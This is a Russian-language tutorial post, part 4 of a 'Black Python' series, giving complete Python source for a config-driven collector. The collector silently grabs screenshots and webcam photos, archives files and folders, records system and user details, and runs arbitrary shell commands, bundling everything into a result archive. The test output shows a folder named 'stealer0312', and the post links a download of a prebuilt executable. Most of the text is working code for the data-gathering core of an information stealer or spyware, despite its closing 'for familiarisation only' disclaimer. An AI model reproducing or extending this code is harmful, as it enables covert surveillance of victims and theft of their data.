Black Python - 4. Module Manager

Black Python - 4. Module Manager

Не забудь подписаться на https://t.me/the_dark_harbor

В очередной статье из цикла Black Python, ты узнаешь как написать несколько простых, но популярных функций и связать их механизмом Module Manager.


Сначала разберем функции:

  • Получение скриншота
  • Получение снимка с вебкамеры
  • Упаковка списка файлов
  • Упаковка папки целиком
  • Получение информации о компьютере:Список пользователей
  • Список разделов
  • Информация об ОС
  • Выполнение команды командной строки


В первой части статьи я опишу простую реализацию функций, а во второй оберну их в функции-менеджеры (для связи с конфигами)


Сделать скриншот:

Есть несколько способов получения скриншота, опишу два:


pip install pillow

Python:

import PIL.ImageGrab
im = PIL.ImageGrab.grab()
im.save(filename)

pip install pyautogui

Python:

import pyautogui
pyautogui.screenshot(filename)

Объединив в одну функцию с выбором режима, получим:

Python:

def make_screenshot(mode='pil', filename='screenshot.png'):
    try:
        if mode.lower() == 'pil':
            import PIL.ImageGrab
            im = PIL.ImageGrab.grab()
            im.save(filename)
        elif mode.lower() == 'pyautogui':
            import pyautogui
            pyautogui.screenshot(filename)
    except:
        raise ImportError(f'{mode} not found')

Снимок с веб-камеры:

pip install opencv-python

Python:

def make_web_shot(filename):
    try:
        # пробуем импортировать
        import cv2
        cap = cv2.VideoCapture(0)
        # разогреваем камеру
        for i in range(30):
            cap.read()
        # получаем frame
        ret, frame = cap.read()
        # сохраняем снимок
        cv2.imwrite(filename, frame)
        cap.release()
    except Exception as e:
        raise RuntimeError(e)


Упаковка списка файлов:

Уже использовал эту функцию в одной из предыдущих статей:

Python:

def make_zip(files, filename):
    # создаем папки до архива(если их нет)
    make_folders(filename)
    # открываем через контекстменеджер файл для записи архива
    with zipfile.ZipFile(filename, 'w') as myzip:
        # обрабатываем файл по одному
        for file in files:
            try:
                # пробуем добавить файл
                myzip.write(file)
            except:
                # если не получается, то переходим к следующему файлу
                pass

Упаковка папки:

Функция из модуля shutil:

Python:

shutil.make_archive(archive_name, type, root_directory)
# archive_name - имя итогового архива
# type - формат архива (например, zip)
# root_directory - начальная директория, откуда начать упаковку

Получение информации о компьютере:

pip install psutil

Python:

def get_info(mode):
    # Список пользователей
    if mode == 'get_users':
        return users()
    # Список разделов
    elif mode == 'get_partitions':
        return disk_partitions()
    # Часть инфы ОС
    elif mode == 'get_node':
        node = get_info('get_os')
        return f"{node['node']} ({node['system']})"
    # Информация об ОС
    elif mode == 'get_os':
        u_info = uname()
        return {'system': u_info.system, 'release': u_info.release, 'node': u_info.node, 'version': u_info.version}
    # Иначе выполняем команду
    else:
        run_cmd(mode)

Выполнение команд командной строки:

Python:

def run_cmd(cmd, encode='cp866'):
    # возвращаем вывод результата (текст)
    return Popen(cmd, shell=True, stdout=PIPE).communicate()[0].decode(encode)

Теперь опишем для вышеизложенных функций менеджеры:


Менеджер для функции скриншота:

Python:

def screenshot_manager(screenshot_config):
    filename = screenshot_config['filename']
    mode = screenshot_config['mode']
    make_folders(filename)
    make_screenshot(mode, filename)

Менеджер для функции снимка с веб камеры:

Python:

def webcam_manager(web_cam_config):
    filename = web_cam_config['filename']
    make_folders(filename)
    make_web_shot(filename)

Менеджер для упаковки списка файлов:

Python:

def pack_source_manager(source_config):
    files = []
    # добавляем из списка файлов существующие
    if source_config['files']:
        files = [file for file in source_config['files'] if os.path.exists(file)]
    if source_config['sources']:
        # из каждого файла источника из списка добавляем существующие файлы
        for source in source_config['sources']:
            with open(source, 'r') as source_file:
                files += [file for file in source_file.read().split('\n') if os.path.exists(file)]
    # отправляем список файлов и имя для архива
    make_zip(files=files, filename=source_config['zip_filename'])

Менеджер для упаковки папки:

Python:

def collect_manager(collect_config):
    shutil.make_archive(collect_config['folder'], collect_config['type'], collect_config['folder'])


Менеджер для получения информации:

Python:

def get_info_manager(info_config):
    info = ''
    # Проходим по всем режимам
    for info_mode in ['systeminfo', 'get_os', 'get_partitions', 'get_users']:
        try:
            # Если информация получена, то добавляем ее
            info = f'{info}{str(get_info(info_mode))}\n'
        except:
            pass
    make_folders(info_config['filename'])
    # сохраняем информацию в файл
    with open(info_config['filename'], 'w') as info_file:
        info_file.write(info)

Менеджер для командной строки:

Python:

def run_cmd_manager(cmd_config):
    # Выполняем команду
    result = run_cmd(cmd_config['cmd'])
    # Если имя указано, то сохраняем в файл
    if cmd_config['filename']:
        make_folders(cmd_config['filename'])
        with open(cmd_config['filename'], 'w') as out_file:
            out_file.write(result)


  • requirements.txt

numpy==1.15.4

opencv-python==3.4.4.19

Pillow==5.3.0

psutil==5.4.8

PyAutoGUI==0.9.38

PyMsgBox==1.0.6

PyScreeze==0.1.18

PyTweening==1.0.3


Получается списком установок:

pip install opencv-python pillow pyautogui psutil


У нас есть несколько менеджеров по работе с функциями из этой статьи + geo + tree описанные в предыдущих статьях. Напишем пару функций для запуска любого из них:

Python:

# Связь между названием модуля в конфиге и менеджером
module_set = {'source': pack_source_manager, 'collect_result': collect_manager, 'screenshot': screenshot_manager,
              'webcam': webcam_manager, 'info': get_info_manager, 'run_cmd': run_cmd_manager}

# Функция для запуска модуля
def execute_module(config, module_name):
    if module_name in module_set:
        module_config = load_module_config(config, module_name)
        # если конфиг загрузился, то исполняем модуль
        if module_config: module_set[module_name](module_config)

# Функция загрузки конфига
def load_module_config(config, module_name):
    # Если модуль есть в общем конфиге
    if config.valid_key(module_name):
        # и этот модуль сейчас должен использоваться
        if config.config[module_name]['use']:
            # то возвращаем конфиг для модуля
            return config.config[module_name]
    return None

Теперь создадим run.py, который запускает модули из config.json:

run.py:

import json

from error_log import ErrorLog
from module_manager import execute_module

def main():
    # Подрубаем лог ошибок
    error_log = ErrorLog()
    try:
        # открываем конфиг
        with open('config.json', 'r') as config_file:
            config = json.load(config_file)
            # Пробуем выполнить каждый модуль
            for module in config:
                try:
                    execute_module(config, module)
                except Exception as e:
                    # при ошибке записываем в лог
                    error_log.add(module, e)
    except Exception as e:
        error_log.add(main.__name__, e)
    error_log.save_log()

if __name__ == '__main__':
    main()


Пример конфигурации (json)

config.json:

{
  "source": {
    "use": true,
    "files": ["run.py"],
    "sources": [],
    "zip_filename": "result\\source.zip"
  },
  "screenshot": {
    "use": true,
    "mode": "pil",
    "filename": "result\\screenshot.png"
  },
  "webcam": {
    "use": true,
    "filename": "result\\cam.png"
  },
  "info": {
    "use": true,
    "filename": "result\\info.txt"
  },
  "run_cmd": {
    "use": true,
    "filename": "result\\cmd.txt",
    "cmd": "dir c:\\"
  },
  "collect_result": {
    "use": true,
    "folder": "result",
    "type": "zip"
  }
}


Добавление модулей

Для добавления уже созданных раннее модулей (tree, geo) в module_manager.py нужно прописать:

Python:

from tree import tree_manager
from geo_position import geo_manager

И добавить подобную конструкцию в execute_module -> module_set: 'name': name_manager.


в config.json добавить:

JSON:

"name": {
    "use": true,
    name_config_fields
}

use - true/false использовать ли модуль в программе

name_config_fields - поля конфигурации для модуля


Полученная структура проекта:

  • additional.py - общие функции для разных модулей
  • config.json - конфигурационный файл для run.py
  • error_log.py - класс логов ошибок
  • module_manager.py - файл с модульными менеджерами и их запуска
  • run.py - запуск модуль-менеджера с конфигурацией config.json


Код целиком

additional.py:

import os
import zipfile
from platform import uname
from subprocess import Popen, PIPE, STDOUT, DEVNULL

from psutil import users, disk_partitions


def make_zip(files, filename):
    make_folders(filename)
    with zipfile.ZipFile(filename, 'w') as myzip:
        for file in files:
            try:
                myzip.write(file)
            except:
                pass


def make_folders(path):
    try:
        folder = os.path.dirname(path)
        if folder and not os.path.exists(folder):
            os.makedirs(folder)
    except Exception as e:
        raise FileNotFoundError(f'Folder not create! {e}')


def get_info(mode):
    if mode == 'get_users':
        return users()
    elif mode == 'get_partitions':
        return disk_partitions()
    elif mode == 'get_node':
        node = get_info('get_os')
        return f"{node['node']} ({node['system']})"
    elif mode == 'get_os':
        u_info = uname()
        return {'system': u_info.system, 'release': u_info.release, 'node': u_info.node, 'version': u_info.version}
    else:
        return run_cmd(mode)


def run_cmd(cmd, encode='cp866'):
    return Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT, stdin=DEVNULL).communicate()[0].decode(encode)

error_log.py:

from additional import make_folders

class ErrorLog:
    def __init__(self):
        self.errors = []

    def add(self, module, error):
        self.errors.append(f'{module} - {error}')

    def error_list(self):
        return self.errors

    def save_log(self, filename='errors.log'):
        make_folders(filename)
        if self.errors and filename:
            with open(filename, 'w') as error_log_file:
                for error in self.errors:
                    error_log_file.write(f'{error}\n')

module_manager.py:

import os
import shutil
from additional import make_zip, make_folders, run_cmd, get_info

def execute_module(config, module_name):
    module_set = {'source': pack_source_manager, 'collect_result': collect_manager, 'screenshot': screenshot_manager,
                  'webcam': webcam_manager, 'info': get_info_manager, 'run_cmd': run_cmd_manager}
    if module_name in module_set:
        module_config = load_module_config(config, module_name)
        if module_config: module_set[module_name](module_config)

def load_module_config(config, module_name):
    if module_name in config:
        if config[module_name]['use']:
            return config[module_name]
    return None

def make_screenshot(mode='pil', filename='screenshot.png'):
    try:
        if mode.lower() == 'pil':
            import PIL.ImageGrab
            im = PIL.ImageGrab.grab()
            im.save(filename)
        elif mode.lower() == 'pyautogui':
            import pyautogui
            pyautogui.screenshot(filename)
    except:
        raise ImportError(f'{mode} not found')

def make_web_shot(filename):
    try:
        import cv2
        cap = cv2.VideoCapture(0)
        for i in range(30):
            cap.read()
        ret, frame = cap.read()
        cv2.imwrite(filename, frame)
        cap.release()
    except Exception as e:
        raise RuntimeError(e)

def pack_source_manager(source_config):
    files = []
    if source_config['files']:
        files = [file for file in source_config['files'] if os.path.exists(file)]
    if source_config['sources']:
        for source in source_config['sources']:
            with open(source, 'r') as source_file:
                files += [file for file in source_file.read().split('\n') if os.path.exists(file)]
    make_zip(files=files, filename=source_config['zip_filename'])

def collect_manager(collect_config):
    shutil.make_archive(collect_config['folder'], collect_config['type'], collect_config['folder'])

def screenshot_manager(screenshot_config):
    filename = screenshot_config['filename']
    make_folders(filename)
    mode = screenshot_config['mode']
    make_screenshot(mode, filename)

def webcam_manager(web_cam_config):
    filename = web_cam_config['filename']
    make_folders(filename)
    make_web_shot(filename)

def get_info_manager(info_config):
    info = ''
    for info_mode in ['systeminfo', 'get_os', 'get_partitions', 'get_users']:
        try:
            info = f'{info}{str(get_info(info_mode))}\n'
        except:
            pass
    make_folders(info_config['filename'])
    with open(info_config['filename'], 'w') as info_file:
        info_file.write(info)

def run_cmd_manager(cmd_config):
    result = run_cmd(cmd_config['cmd'])
    if cmd_config['filename']:
        make_folders(cmd_config['filename'])
        with open(cmd_config['filename'], 'w') as out_file:
            out_file.write(result)

run.py:

import json
from error_log import ErrorLog
from module_manager import execute_module

def main():
    error_log = ErrorLog()
    try:
        with open('config.json', 'r') as config_file:
            config = json.load(config_file)
            for module in config:
                try:
                    execute_module(config, module)
                except Exception as e:
                    error_log.add(module, e)
    except Exception as e:
        error_log.add(main.__name__, e)
    error_log.save_log()

if __name__ == '__main__':
    main()


Результат работы программы:

  • info.txt

Имя узла: GH0STAGEPC

Название ОС: Microsoft Windows 7 Максимальная 

Версия ОС: 6.1.7601 Service Pack 1 сборка 7601

Изготовитель ОС: Microsoft Corporation

Параметры ОС: Изолированная рабочая станция

Сборка ОС: Multiprocessor Free

Зарегистрированный владелец: Gh0stage

Зарегистрированная организация: 

Код продукта: 00426-292-0000007-85800

Дата установки: 01.12.2018, 0:56:31

Время загрузки системы: 05.12.2018, 19:49:58

Изготовитель системы: innotek GmbH

Модель системы: VirtualBox

Тип системы: x64-based PC

Процессор(ы): Число процессоров - 1.

[01]: Intel64 Family 6 Model 42 Stepping 7 GenuineIntel ~2295 МГц

Версия BIOS: innotek GmbH VirtualBox, 01.12.2006

Папка Windows: C:\Windows

Системная папка: C:\Windows\system32

Устройство загрузки: \Device\HarddiskVolume1

Язык системы: ru;Русский

Язык ввода: ru;Русский

Часовой пояс: (UTC+03:00) Волгоград, Москва, Санкт-Петербург

Полный объем физической памяти: 5 003 МБ

Доступная физическая память: 3 457 МБ

Виртуальная память: Макс. размер: 10 003 МБ

Виртуальная память: Доступна: 8 512 МБ

Виртуальная память: Используется: 1 491 МБ

Расположение файла подкачки: C:\pagefile.sys

Домен: WORKGROUP

Сервер входа в сеть: \\GH0STAGEPC

Исправление(я): Число установленных исправлений - 4.

[01]: KB2534111

[02]: KB2999226

[03]: KB4019990

[04]: KB976902

Сетевые адаптеры: Число сетевых адаптеров - 1.

[01]: Адаптер рабочего стола Intel(R) PRO/1000 MT

Имя подключения: Подключение по локальной сети

DHCP включен: Да

DHCP сервер: цифры

IP-адрес

[01]: тут были цифры

[02]: тут тоже


{'system': 'Windows', 'release': '7', 'node': 'Gh0stagePC', 'version': '6.1.7601'}

[sdiskpart(device='C:\\', mountpoint='C:\\', fstype='NTFS', opts='rw,fixed'), sdiskpart(device='D:\\', mountpoint='D:\\', fstype='CDFS', opts='ro,cdrom')]

[suser(name='Gh0stage', terminal=None, host='0.0.0.0', started=1544028611.0, pid=None)]


  • cmd.txt

Том в устройстве C не имеет метки.

Серийный номер тома: 9430-1E7A


Содержимое папки c:\


02.12.2018 19:35 <DIR> AT

02.12.2018 23:13 <DIR> calculator

14.07.2009 06:20 <DIR> PerfLogs

02.12.2018 01:26 <DIR> Program Files

02.12.2018 02:19 <DIR> Program Files (x86)

01.12.2018 03:09 <DIR> py_projects

03.12.2018 20:06 <DIR> stealer0312

01.12.2018 00:56 <DIR> Users

01.12.2018 01:21 <DIR> Windows

0 файлов 0 байт

9 папок 8 753 479 680 байт свободно


  • screenshot.png


  • errors.log

webcam - DLL load failed: Не найден указанный модуль.


  • Причина ошибки

Из-за отсутствия драйвера на вебкамеру


Также были получены:

zip архив result со всеми собранными файлами 

zip архив source с файлом конфигов


Как всегда прикрепляю исходники и исполняемый файл с конфигурацией (в этот раз исполняемый файл получился большим, поэтому разделен на 2 архива).

https://mega.nz/#F!Q3IkBKDR!MNyGhZTpIRxSdo4e2bh9ig



Данная статья создана исключительно для ознакомления и не призывает к действиям!

Report Page